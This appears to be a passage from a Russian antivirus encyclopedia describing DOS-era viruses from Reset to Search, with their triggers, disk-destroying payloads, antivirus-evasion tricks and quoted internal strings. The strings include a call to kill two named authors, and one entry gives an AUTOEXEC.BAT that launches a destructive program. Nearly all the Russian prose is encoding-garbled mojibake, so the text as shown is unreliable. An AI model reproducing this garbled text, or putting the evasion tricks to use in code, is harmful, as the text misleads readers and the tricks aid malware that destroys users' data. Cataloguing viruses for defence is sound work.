Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé ôàéëîâî - çàãðóçî÷íûé âèðóñ.
Çàðàæàåò COM, EXE-ôàéëû è MBR âñåõ æåñòêèõ äèñêîâ, ïðèñóòñòâóþùèõ â
êîìïüþòåðå. Ïîñëå 55 çàãðóçîê ñ èíôèöèðîâàííîãî MBR âèðóñ óñòðàèâàåò
âèäåîýôôåêò "ïëàâàþùèõ" öâåòíûõ ëèíèé ïî ýêðàíó, øèôðóåò æåñòêèé äèñê
è âûâîäèò íà ýêðàí "áåãóùåé ñòðîêîé" òåêñò:
Please wait ...
Hey , LAMER ! Are you all right ?.. Not so good ?..
Oh, don't be afraid my little baby ,angry wolf if far away !......
bUt I aM sTiLL HeRe ! AnD i Am HuNGRrry ! Aaarrrgghhh !...
YoU iS _fOxPro or pAsCAL_pROGraMmeR , iSn't It ?...
Oogghh , YeEsss ! I WaNt to EaT YoU NoWww !
NoW YoU WiLL bEcOme ViCTiM of HACKER's REVENGE !
Âíåäðÿåòñÿ â ñåðåäèíó COM è EXE-ôàéëîâ, êîððåêòèðóÿ àäðåñà ïåðåìåùàåìûõ
ýëåìåíòîâ äëÿ EXE-ôàéëîâ. Íå çàðàæàåò ôàéëû, ñîäåðæàùèå â ñâîåì èìåíè
áóêâîñî÷åòàíèÿ WEB, AIDS, ADINF, HIEW, CHKDSK,SCAN,VSAFE,MSAV,CLEAN,-V.
Ñîäåðæèò òåêñòû "Say THANKS to lovely Dr.Web for damage this file...",
"(C) Renegade 1995.".
Reset.607
Íåîïàñíûé âèðóñ. Åñëè çíà÷åíèå ìèíóò ñèñòåìíîãî âðåìåíè áîëüøå 54, òî
âèðóñ âûâîäèò íà ýêðàí òåêñò "For Main Menu press RESET".
Revelation.4096
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Â îêòÿáðüñêèå âîñêðåñåíüÿ
âûâîäèò íà ýêðàí òåêñò:
These things saith he that hold TASM in his right hand and walketh
amongst the FAT tables, boot sectors, and partition tables.
He that hath a VDU, let him see what I typeth unto the users:
I have a few things against thee, because thou sufferest that whore
software security, and commit anti-virus protection.
Behold, I will cast thou unto limbo, and them that repent their
deeds shall be spared the low-level drive format.
Remember therefore how thou hast recieved and heard, and hold fast,
and repent. If therefore thou shalt not repent, I will come on thee
as a thief, and thou shalt not know what hour I will come upon thee.
- Revelation Alpha.
Òàêæå ñîäåðæèò òåêñòû:
Genesis
Revelation Virus Alpha
Exodus
Copyright (c) 1991 by Transvisionary
Reverse.948
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "moc.dnammocexe.niamcn".
Íå çàðàæàåò ôàéë NCMAIN.EXE. Êîìàíäíûé ïðîöåññîð COMMAND.COM çàðàæàåò,
âíåäðÿÿñü â îáëàñòü íóëåé, è íå óâåëè÷èâàåò åãî äëèíó. Ñîäåðæèò åùå
îäíó òåêñòîâóþ ñòðîêó "Red Spider Virus created by Garfield from
Zielona Gora in Feb 1993".
Rex.1637
Îïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé âèðóñ. Ïðè
çàðàæåíèè MBR "âèí÷åñòåðà" íå ñîõðàíÿåò îðèãèíàëüíûé ñåêòîð. Ïîñëå 99
çàãðóçîê ñ èíôèöèðîâàííîãî äèñêà âèðóñ ïðîèçâîäèò íåêîòîðûå ìàíèïóëÿöèè
ñ êëàâèàòóðîé (INT 16h). Ñîäåðæèò òåêñò "REX".
Rift.480
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò ôàéëû òîëüêî ïðè ñìåíå êàòàëîãà
(f.3Bh Int 21h). Ñîäåðæèò òåêñò "Rift Villy v.3.1".
Riot.309
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò óíè÷òîæèòü 1234 ñåêòîðîâ äèñêà
C:. Ïåðâûì äåëîì ñòðåìèòñÿ çàðàçèòü ôàéë c:\dos\doskey.com. Ñîäåðæèò
òåêñò "(c) 1994 Metal MilitiaImmortal Riot, Sweden".
Riot.Demand
Îïàñíûé overwriting âèðóñ. Ñîçäàåò ôàéë C:\INFERNAL.IR, â êîòîðûé
çàïèñûâàåò ñëåäóþùèé òåêñò:
Infernal Demand! (c) Metal Militia / Immortal Riot
Your misery is our pleasure!
Your nightmare is our dream!
Your hell is our paradise!
Your lost is our demand!
Your cry is our laugh!
And your fate is ours!
Riot.Enemy.757
Ñîäåðæèò òåêñò:
Unknown Enemy (c) Metal Militia/Immortal Riot
I'm hurt, machineguns firing behind my back
Never had no chance, no way to do a attack
Thisone sure is the last time i guess
Heading for a private deathrow, nothing less
Blood, quickly pumping out from the vound in the vain
Damn, this moment makes you sort of go insane
Close my eyes, had much left to see
Was my fault, but did they have to do it, gee?
Promise me, this hit you will remember
Take one of them down before winter comes in december
Why that month? Well, i like it very much
Fresh, cool air, wonders of the snow to touch
The world is wonderful, what else to say?
Just remember this shit, cause it happends every day
Riot.Evil.769
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âïåðåìåøêó ñ èíñòðóêöèÿìè àññåìáëåðà ðàñ-
ïîëîæåíû ñëåäóþùèå òåêñòîâûå ñòðîêè:
Our past is our future!
[INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot
Dedicated to all the victims..
Greets to B-real!/IR
It's like this and like that and like thisena
It's like that and like this and like thatena
It's like this..
Love to Lisa!
All i ever wanted..
All i ever asked for..
Riot.Flood
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ, ïåðåçàïèñûâàþùèé ïðîãðàììíûé êîä. Ïðè
ñòàðòå òàêèõ ïðîãðàìì âèðóñ âûâîäèò ôðàçó "Bad command or filename".
21 ÷èñëà âûâîäèò òåêñò "Hey Bud.. You picked the leave with the virus
on it!". Èìååò òåêñò "Burn:CycleYou picked the leave with the virus on
it!(c) Atomic Morphine/ FLooD 1999".
Riot.Marked.354
Ïðè ñòàðòå âûâîäèò ñîîáùåíèå "Bad command or filename", à 21 ÷èñëà:
In any country, prison is where society sends it's
failures, but in this country society itself is faily
Âíóòðè âèðóñà èìååòñÿ òàêæå òåêñò:
Marked-XWill we ever learn to talk with eachother?
(c) Metal Militia/Immortal Riot
Riot.Multiplex
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 5 ÷èñëà óíè÷òîæàåò 256 ñåêòîðîâ äèñêà C:.
Ñîäåðæèò òåêñòû "MULTiPLEX (c) 1994 Metal Militia\ Immortal Riot,
Sweden*. Somewhere, somehow, always :)*.com", "JUNK", "ImRio".
Riot.Pollution
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè.
6 èþíÿ ïðîèãðûâàåò êàêóþ-òî ìåëîäèþ. Ñîäåðæèò ñòðîêó "Digital Pollution
(c) '94 Raver/Immortal Riot".
Riot.RatBoy.513, 545, 671
Î÷åíü îïàñíûå íåðåçèäåíòíûå âèðóñû. Ïî âîñêðåñåíüÿì ïîñëå 15 ÷èñëà
ïûòàþòñÿ óíè÷òîæèòü ñîäåðæèìîå âñåõ ëîãè÷åñêèõ óñòðîéñòâ æåñòêîãî
äèñêà, çàïèñûâàÿ â ñåêòîðà ñòðîêè:
Riot.RatBoy.513 - "RaTBoY HaTeS YoU!!! Ihater-u-all\JUNK TEST".
Riot.RatBoy.545 - "RaTBoY WaS HeRe!!! My Vx, Invircible Killer".
Riot.RatBoy.671 - "RaTBoY Loves Mrs. RaTBoY!!! \JUNK TEST".
Riot.RatBoy.545, 671 óíè÷òîæàþò íåêîòîðûå ôàéëû, âèäèìî, òàáëèöû
àíòèâèðóñà InVircible.
Rmb
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè çàðàæåíèè íå ñîõðàíÿåò
îðèãèíàëüíûå çàãðóçî÷íûå ñåêòîðà. Ïðè íàæàòèè íà Ctrl-Break âèðóñ ìîæåò
óíè÷òîæèòü ïî 14 ñåêòîðîâ íà âñåõ ãîëîâêàõ "âèí÷åñòåðà".Ñîäåðæèò ñòðîêó
"RMBDRMCCQBDWRM".
Rmns.651, Rmns.736
Ñîäåðæàò ñòðîêè "----> - R.M.N.S. - Test Virus .COM 651 <----" èëè
"----> - R.M.N.S. - Test Virus .COM 736 <----".
Rock.1076
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïî ÷åòíûì ÷èñëàì ñ 10-ãî ïî 26-å, êðîìå
äåêàáðÿ, ñóááîòû è âîñêðåñåíüÿ, îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé êîä,
êîòîðûé "òðÿñåò" ýêðàí ïî 20 ñåêóíä êàæäûå 20 ìèíóò.
Rogue.1208
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ôàéëû ñ ðàñøèðåíèåì DBF,
çàïèñûâàÿ â íèõ ïåðâûé áàéò 'R' è ïðîèçâîäÿ ñ îñòàëüíûì ñîäåðæèìûì
ôàéëà îïåðàöèþ XOR 0Dh, äî ïåðâîãî ñèìâîëà 0Dh. Óíè÷òîæàåò ôàéëû
CHKLIST ???.  ìåñÿö, êîãäà ñóììà çíà÷åíèÿ ãîäà è çíà÷åíèÿ ìåñÿöà ðàâíà
2000 âèðóñ âûâîäèò òåêñò:
Now you got a real virus! I'm the ROGUE ...!
Roman.1995
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå ïðîãðàììû DRWEB
âèðóñ îáåçâðåæèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ (îñâîáîæäàåò INT 21h),
êîòîðàÿ â äàëüíåéøåì (÷åðåç INT 1Ch) îïÿòü âîññòàíàâëèâàåò ñâîþ
ðàáîòîñïîñîáíîñòü. Ïðè óäàëåíèè ôàéëà ROMAN!.113 âèðóñ âûâîäèò íà
ýêðàí òåêñò:
Âíèìàíèå! Â ñèñòåìå íàõîäèòñÿ âèðóñ Roman (1) Virus!
Ýòî àáñîëþòíî áåçâðåäíûé âèðóñ, çàðàæàþùèé .COM ôàéëû.
Íèêàêèõ ïðè÷èí äëÿ áåñïîêîéñòâà íåò. Îí íàïèñàí àâòîðîì
ïðîñòî ðàäè ñïîðòèâíîãî èíòåðåñà. Åñëè Âàì íåæåëàòåëüíî åãî
ïðèñóòñâèå â ñèñòåìå (à îí Âàì íè÷åì íå ïîìåøàåò), ïðîñòî óäà-
ëèòå âñå .COM ôàéëû, ñîäåðæàùèå íà 4 è 5 ïîçèöèè îò íà÷àëà
ñèìâîëîñî÷åòàíèå "RB" - ýòî ïðèçíàê èíôèöèðîâàííîñòè - è ïåðå-
çàïóñòèòå êîìïüþòåð.
Roman (1) Virus íàïèñàí îñåíüþ 1997 ãîäà.
(C) -= Pilz =-, 16 years old.
Ýêñïåðèìåíòàëüíàÿ øêîëà, ôèçèêî-ìàòåìàòè÷åñêèé ëèöåé.909-436X
Íàæìèòå íà ëþáóþ êëàâèøó, ÷òîáû ïðîäîëæèòü ðàáîòó.
RP (1,2)
Îïàñíûå çàãðóçî÷íûå âèðóñû.RP (1) 17 äåêàáðÿ âûâîäèò òåêñò "RP wants to
say hello!" è óíè÷òîæàåò MBR. RP (2) â ìàå âûâîäèò òåêñò "Only bugs
exist!".
RPS (1-3)
Î÷åíü îïàñíûå çàãðóçî÷íûå âèðóñû. Çàðàæàþò MBR âèí÷åñòåðà è ñåêòîðà
ôëîïïè-äèñêîâ, íå ñîõðàíÿÿ îðèãèíàëüíûå çàãðóç÷èêè. Ïðè 50-îé çàãðóçêå
ñ èíôèöèðîâàííîãî äèñêà, èëè ïðè ïîïûòêå çàïèñè â èíôèöèðîâàííûé MBR,
èëè ïðè íå íàõîæäåíèè àêòèâíîãî çàãðóçî÷íîãî ñåêòîðà, âèðóñû óíè÷òîæàþò
èíôîðìàöèþ â ñåêòîðàõ äèñêîâ. Ñîäåðæàò òåêñòû "RPS", "RPS2", "RPS3".
RTP.Demo.4838
Íåîïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñòû:
RTP 0.1b Demo Virus (c) 1998, The Soul Manager
Greetings Mr Kaspersky, we've been expecting you ;)
If you can see this text, you are reading AVPVE!
Red Team Polymorphy 0.1b - (c) 1997 The Soul Manager [IR/G]
Ruchawi.2548
Î÷åíü îïàñíûé çàøèôðîâàííûé âèðóñ. 14 ÿíâàðÿ âûâîäèò òåêñò:
Today is my birthday. /// Dzisiaj obchodze urodziny.
Wish me all the best. /// Zycz mi wszystkiego najlepszego.
Ruchawi(R)
Ïîñëå ýòîãî øèôðóåò MBR, çàïèñûâàåò åãî íà ñâîå ìåñòî è ñîõðàíÿåò êëþ÷
ðàñøèôðîâêè â ïàìÿòè. Âûâîäèò òåêñò:
Do not turn off your machine for 5 days, becouse most important data
from your HD may be lost!!!
Nie wylaczaj swojego komputera przez 5 dni, bo mozesz stracic
wazne dane z twardego dysku!!!
You work too much!!! Go to bed!!!
Pracujesz zbyt wiele!!! Idz spac!!!
Ïîñëå ÷åãî ïûòàåòñÿ æäàòü 5 äíåé, ÷òîáû âîçâðàòèòü MBR â èñõîäíîå
ñîñòîÿíèå. Íî â äàííîì ìåñòå äîïóùåíà îøèáêà, â ðåçóëüòàòå êîòîðîé è
÷åðåç ïÿòü äíåé è ÷åðåç ìåñÿö ðàáîòû MBR íå áóäåò ðàñøèôðîâàí. À ïîñëå
5 äíåé "íåâûêëþ÷åíèÿ" êîìïüþòåðà ïðåäóñìàòðèâàëñÿ ñëåäóþùèé òåêñò:
Now, you can turn off your machine.
Mozesz wylaczyc komputer.
Rush.681
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 19 ÷èñëà âûâîäèò íà ýêðàí òåêñò:
Ìåíÿ,ÿ çíàþ,òû ëþáèëà,
Åãî,íàâåpíîå,õîòåëà,
Ðàçäâèíóòü íîãè ïîñïåøèëà,
Êîìó òåïåpü êàêîå äåëî?
Ïîñëå ÷åãî ïûòàåòñÿ óíè÷òîæèòü 255 ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà.
RushHour (1-3)
Îïàñíûå âèðóñû. Ïðè âûçîâå Int 10h (âûâîä íà ýêðàí) "ùåëêàþò"
äèíàìèêîì. Ñîäåðæàò òåêñò:
This program is a VIRUS program.
Once activated it has control over all
system devices and even over all storage
media inserted by the user. It continually
copies itself into uninfected operating
systems and thus spreads uncontrolled.
The fact that the virus does not destroy any
user programs or erase the disk is merely
dueto a philanthropic trait of the author......
Russel.3072
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èìååò òåêñò "RUSSEL FARADAY".
Ïî âîçìîæíîñòè óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â îáëàñòü UMB.
Sabotager.3133
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïðè âûâîäå íà ýêðàí ñëîâà
"Ëoçèíñêèé" (âèäèìî, ïðè ñòàðòå ïðîãðàììû Aidstest) âèðóñ âûâîäèò íà
ýêðàí êàðòèíêó ÷åðåïà (ñì. Phantom1.7000) è òåêñò:
ÏÈØÈÒÅ ÆÀËÎÁÛ Â ÎÎH!
SABOTAGER
Âåðñèÿ 1.0
Written by
S H U L D E R
Hàæìè ëþáóþ êëàâèøó ...
îæèäàåò íàæàòèÿ íà êëàâèøó è çàêàí÷èâàåò ðàáîòó ñòàðòîâàâøåé ïðîãðàììû.
Salman.2000
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò ôàéëû chklist.ms,chklist.cps,
c:\signture.dat. Íå çàðàæàåò ôàéëû: SCAN.EXE, CLEAN.EXE, NAV.EXE,
PACRUN.EXE. Âûâîäèò òåêñò "Kill Salman Rushdie and Taslima Nasrin !".
Èìååò ñòðîêó "Kill them !!!".
Sampo
Íåîïàñíûé Boot-âèðóñ. Ïðè çàðàæåíèè êîìïüþòåðà ïðîâåðÿåò çàðàæåí ëè óæå
êîìïüþòåð âèðóñàìè Michelangelo, Stoned, Joshi è ïðè íàõîæäåíèè îíûõ
óäàëÿåò èõ. Èíîãäà ïûòàåòñÿ ñïðÿòàòü ñåáÿ "ïîä ëè÷èíîé" âèðóñà
Telefonica. Ïåðåæèâàåò "òåïëóþ" ïåðåçàãðóçêó (Ctrl-Alt-Del). 30 íîÿáðÿ
âûâîäèò òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º S A M P O º
º "Project X" º
º Copyright (c)1991 by the º
º SAMPO X-Team. All rights º
º reserved. º
º University Of The East º
º Manila º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Sandrine.445
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê.  çàâèñèìîñòè îò ñâîèõ
âíóòðåííèõ ñ÷åò÷èêîâ ìîæåò óäàëèòü ôàéë C:\CONFIG.SYS, ñîçäàåò íîâûé
ôàéë C:\AUTOEXEC.BAT, ñîäåðæàùèé ñòðîêè:
@ECHO OFF
C:\SANDRINE.COM
Òàêæå ñîçäàåò ôàéë C:\SANDRINE.COM, êîòîðûé ïðè ñòàðòå óíè÷òîæàåò 10
ïåðâûõ ñåêòîðîâ æåñòêîãî äèñêà è âûâîäèò ñîîáùåíèå "Sandrine
Baillieux thoughts of you are in my mind (c)1994 by BrokenHeart".
Sara.1214
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðè çàïóñêå èíôèöèðîâàííîé
ïðîãðàììû, âèðóñ ïðîèãðûâàåò ìåëîäèþ, âûâîäèò ïîðíîãðàôè÷åñêóþ êàðòèíêó
(î âîñïðîèçâåäåíèè êîòîðîé çäåñü íå ìîæåò èäòè è ðå÷è),ïðîèçâîäèò ïîèñê
*.EXE-ôàéëà â òåêóùåì êàòàëîãå è çàïèñûâàåò â íåãî è â ôàéë
C:\COMMAND.COM ñâîé êîä ïîâåðõ ïðîãðàììíîãî êîäà. Ñîäåðæèò â ñåáå
òåêñòîâûå ñòðîêè: "Darkest Avenger", "Isnt dedicated to Sara Gordon",
"Its dedicated to her GROOVE!".
Saratov.1790
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ñîäåðæèìîå ôàéëà CHKLIST.MS.
Èíîãäà âûâîäèò ñîîáùåíèå "Thanks for using Saratov software.". Íå
çàðàæàåò ôàéëû, íà÷èíàþùèåñÿ íà EVR,WD.,800,COM,DRW,ANT,AID,WEB,WIN,
KRN,SCA,CLE,PT., à òàêæå ïðè îáíàðóæåíèè íà ýêðàíå ñëîâà Web. Ïðè
çàïóñêå ëþáîé ïðîãðàììû ñ êîìàíäíîé ñòðîêîé "/C Vir", âèðóñ èçìåíÿåò
åå íà "/C Ver" è âûâîäèò òåêñò "The File Corrector v2.0. Made in
Saratov. Serial #????".
Sarov.1000, 1140, 1200(1,2)
Ðåçèäåíòíûå øèôðîâàííûå (Sarov.1200 - ïîëèìîðôíûé) âèðóñû. Çàðàæàþò COM
-ôàéëû ïðè èõ ïîèñêå (f.11h, 12h, 4Eh, 4Fh Int 21h). Ïåðåõâàòûâàþò INT
1, 8, 9, 21h. Êîíòðîëèðóþò òðàññèðîâêó ñâîåãî êîäà, èçìåíÿþò ñòàòóñ
ôëîïïè-äèñêîâ, ïðîïóñêàþò ñèìâîëû, ââåäåííûå ñ êëàâèàòóðû. Èìåþò òåêñòû
Sarov.1000 - "BIL`92`S",
Sarov.1140 - "BIL_92_Sarov",
Sarov.1200 - "[BIL_92_Sarov]".
SatanBug (1-3)
Áåçîáèäíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Èñïîëüçóþò äîâîëüíî ñëîæíûé
àëãîðèòì øèôðîâàíèÿ ñâîåãî êîäà. Ðåçèäåíòíàÿ ÷àñòü âèðóñà òàêæå
ÿâëÿåòñÿ ïîëèìîðôíîé. Ïðè ïîëó÷åíèè óïðàâëåíèÿ (INT 21h f.3Dh è f.4Bh)
âèðóñ ñíà÷àëà ðàñøèôðîâûâàåò ñâîå òåëî â ïàìÿòè, à çàòåì óæå îòäàåò åìó
óïðàâëåíèå. Ñîäåðæèò ñòðîêè: "Satan Bug virus - Little Loc",
"COMSPEC=COMMAND.COM".
SatanBug.1568
Ïîëèìîðôíûé âèðóñ. Ïåðåõâàòûâàåò INT 21h, ïðè÷åì ñìåùåíèå îáðàáîò÷èêà
ïðåðûâàíèÿ ìîæåò, â çàâèñèìîñòè îò âðåìåíè ñòàðòà, íàõîäèòüñÿ â
ðàçëè÷íûõ íåïîñòîÿííûõ àäðåñàõ.
SatanBug.FruitFly
Îïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èñïîëüçóåò àëãîðèòì øèôðîâêè,
"çàèìñòâîâàííûé" èç âèðóñà SatanBug. Óíè÷òîæàåò ôàéëû VS.VS è
CHKLIST.CPS. Ñîäåðæèò ñòðîêè: "Fruit Fly virus - Little Loc",
"Hacker4Life", "Hackers In ThE Mist".
Satria (1-4)
Íåîïàñíûå çàãðóçî÷íûå âèðóñû. 4 èþëÿ èëè ïðè çàðàæåíèè MBR âûâîäÿò
íà ýêðàí êàðòèíêó:
ÜÜÜÜ · · · · ÜÜÜÜ ÜÜÜÜ
ÜÜÜÜ · · · · ÜÜÜÜ ÜÜÜÜ
ÜÜÜÜ · · · ÜÜÜÜ ÜÜÜÜ
ÜÜÜÜ · · ÜÜÜÜ ÜÜÜÜ
ÜÜÜÜ · · ÜÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜ · ÜÜÜÜÜÜÜÜÜÜÜ
Ìîãóò ñîäåðæàòü òåêñòû "My Honey B'day" èëè "Satria".
Sayha.DieHard (1-5)
Îïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ïåðåõâàòûâàþò INT 10h,13h, 21h.
Òðàññèðóþò äàííûå ïðåðûâàíèÿ äëÿ âûÿñíåíèÿ àäðåñîâ îðèãèíàëüíûõ
îáðàáîò÷èêîâ è äëÿ ïîïûòêè "âíåäðåíèÿ" â öåïî÷êè îáðàáîò÷èêîâ
ïðåðûâàíèé. Ïðè îòêðûòèè ASM-ôàéëîâ çàïèñûâàþò â íèõ ñëåäóþùèé òåêñò:
.model small
.code
org 256
s: push cs
pop ds
call t
db 'Ñå$'
t: pop dx
mov ah,9
int 33
mov ah,76
int 33
end s
 ôàéëû ñ ðàñøèðåíèåì PAS çàïèñûâàþò:
begin
write('Ñå');
end.
Ïðè óñòàíîâêå ãðàôè÷åñêîãî ðåæèìà (#13h 320x200 256 öâåòîâ) âèðóñû
ðèñóþò â öåíòðå ýêðàíà áóêâû "SW". Ïðè âîçíèêíîâåíèè îøèáîê (ïåðåõîä çà
ãðàíèöó 64K ïðè ðàáîòå ñ DMA è äàííûå ñêîððåêòèðîâàíû ñ èñïîëüçîâàíèåì
ECC), ïðè ïîïûòêå çàïèñè íà äèñê, âèðóñû ïûòàþòñÿ èñïðàâèòü äàííûå
îøèáêè! Ñîäåðæàò òåêñò "SW Error", "SW DIE HARD 2".
Sayha.Watpu
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Îñíîâíàÿ ÷àñòü êîäà âèðóñà çàøèôðîâàíà, è
âèðóñ ïðîèçâîäèò øèôðàöèþ ñâîèõ ó÷àñòêîâ âî âðåìÿ ðàáîòû. Ïðè
èíñòàëëÿöèè â ïàìÿòü âèðóñ òðàññèðóåò INT 13h, INT 21h. Ïðè÷åì îí ìîæåò
íå ïðîñòî ïåðåõâàòèòü INT 21h, à "âêëèíèòüñÿ" â öåïî÷êó îáðàáîò÷èêîâ
INT 21h, ïîäìåíÿÿ àäðåñ ïåðåõîäà â ïðÿìûõ èëè êîñâåííûõ ìåæñåãìåíòíûõ
èíñòðóêöèÿõ ïåðåäà÷è óïðàâëåíèÿ (jmp far ptr ?:?, call far ptr ?:?, jmp
dword ptr [?], call dword ptr [?]). Â ñâÿçè ñ ýòèì âèðóñ òðóäíî
îáíàðóæèòü â ïàìÿòè, åñëè íå ïðîñëåäèòü âñþ öåïî÷êó îáðàáîò÷èêîâ INT
21h. 3 è 18 ÷èñëà ëþáîãî ìåñÿöà, à òàêæå 15 ñåíòÿáðÿ ìîæåò âûâåñòè
ñîîáùåíèå "SW Error". Âèðóñ òàêæå ïåðåõâàòûâàåò INT 16h (êëàâèàòóðà).
Èíîãäà, ïðè íàæàòèè íà êëàâèøó "F1", ìîæåò âûâåñòè:
ÜßßßÜ Û Û
ßÜÜÜ ayha Û Û
Ü Û Û Û Ûatpu
ßßß ß ß
Sb.645
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòîâûå ñòðîêè:
*** (V) Sergey Babitch - 2:463/83@FidoNet - phone (044) 4420831 ***
SB
Sch.461
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "SchSch57".
Schizo.398
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "Schizophrenia".
Scoundrel.3323
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò ôàéëû ïðè èõ ñòàðòå
(f.4B00h INT 21h) è ïðè èõ çàêðûòèè (3Eh). Ïðè îòêðûòèè ôàéëîâ (3Dh,
6Ch), èíôîðìàöèè îá àòðèáóòàõ (43h), ïåðåèìåíîâàíèè (56h), ïîèñêå (11h,
12h, 4Eh, 4Fh) è çàãðóçêå â ïàìÿòü áåç âûïîëíåíèÿ (4B03h) óäàëÿåò ñâîé
êîä èç ôàéëîâ, ê êîòîðûì ïðîèñõîäÿò äàííûå îáðàùåíèÿ. Ïðåäïðèíèìàåò
âñÿ÷åñêèå ïîïûòêè, çàòðóäíÿþùèå àíàëèç âèðóñíîãî êîäà. Èíîãäà âûâîäèò
íà ýêðàí òåêñò:
SoftPecker v.1 (C) 1992 by ScoundrelSoft - 'Your pleasure is our business'
Scroll.600 (1,2)
Íåîïàñíûå âèðóñû. Scroll.600 (1) - íåðåçèäåíòíûé, à Scroll.600 (2) -
ðåçèäåíòíûé âèðóñû. Scroll.600 (1) èíîãäà âûâîäèò íà ýêðàí ñòðîêó
" Scroll v1.0 " è íà÷èíàåò "âðàùàòü" ýêðàí äî íàæàòèÿ ïîëüçîâàòåëåì
íà ëþáóþ êëàâèøó. Scroll.600 (2) "ïåðåõâàòûâàåò" INT 9 è ïðè íàæàòèè íà
Ctrl-Alt-Del "ïðîâîðà÷èâàåò" ñíèçó ââåðõ ýêðàí, íå ïåðåãðóæàÿ ñèñòåìó.
Sds.1906
Î÷åíü îïàñíûé çàøèôðîâàííûé âèðóñ. 10 ÿíâàðÿ, 16 àïðåëÿ, 4 èþíÿ è 1
ñåíòÿáðÿ óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè.Èíîãäà óíè÷òîæàåò ñîäåðæèìîå
ñåêòîðîâ äèñêîâ. Ñîäåðæèò òåêñòû "COMMAND.IBM", "<2147>".
Search.4148
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê è çàðàæåíèå *.COM è
*.EXE-ôàéëîâ, äîñòóïíûõ ÷åðåç ïåðåìåííóþ ñðåäû PATH=. EXE-ôàéëû
ïðåâðàùàåò â ôàéëû COM-ôîðìàòà, ïóòåì çàïèñè â EXE-ôàéë ñòàíäàðòíîé
ïðîãðàììû-êîíâåðòîðà, ïîñëå ÷åãî çàðàæàåò òàêîé ôàéë, êàê îáû÷íûé COM-
ôàéë. Ñîçäàåò ôàéë AIDSTEST.EXE, êîòîðûé ïðè ñòàðòå èìèòèðóåò ðàáîòó
äàííîãî àíòèâèðóñà è âûâîäèò ñëåäóþùèå ñîîáùåíèÿ:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» Äëÿ ÍÀÄÅÆÍÎÃÎ ÅÆÅÄÍÅÂÍÎÃÎ àíòèâèðóñíîãî
º À Î " Ä è à ë î ã H à ó ê à " º êîíòðîëÿ ðåêîìåíäóþ íå õëîïàòü óøàìè.
º Àíòèâèðóñ AIDSTEST º - ðåâèçîð ADinf è ïîëèôàã Doctor Web
º Âåðñèÿ 1095 îò 30.01.95 º - àïïàðàòíî-ïðîãðàììíûé êîìïëåêñ Sheriff
º (c) Copyright 1990-95 º
º Ëoçèíñêèé Äìèòðèé Hèêîëàåâè÷ º Èíôîðìàöèÿ - â ôàéëå aidsvir.txt
º Ìîñêâà, òåë./ôàêñ (095) 938-2970 º - ãàçåòå "×åëîâåê è Êîìïüþòåð", èíä.50165
º òåë. 135-6253, 137-0150 º - åæåíåäåëüíèêå "ÊîìïüþÒåððà", èíä.32197
º BBS 938-2856 (14400/V.32bis) º
º E-mail loz@dials.msk.su º ÑÏÐÀÂÊÈ îá óñëóãàõ, óñëîâèÿõ - aidstest /d
º FidoNet 2:5020/69 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Àíòèâèðóñíàÿ ÑÊÎÐÀß ÏÎÌÎÙÜ - òåë.939-5212
Ïðîâåðêà äèñêà C:
Ïðîâåðåíî ôàéëîâ:
Çàðàæåíî ôàéëîâ: 0
- íà÷àëüíûõ ñåêòîðîâ: 0
Ñëåäîâ âèðóñîâ DIR: 0
Îáðàáîòàòü åùå îäèí äèñê ? (Y/N):
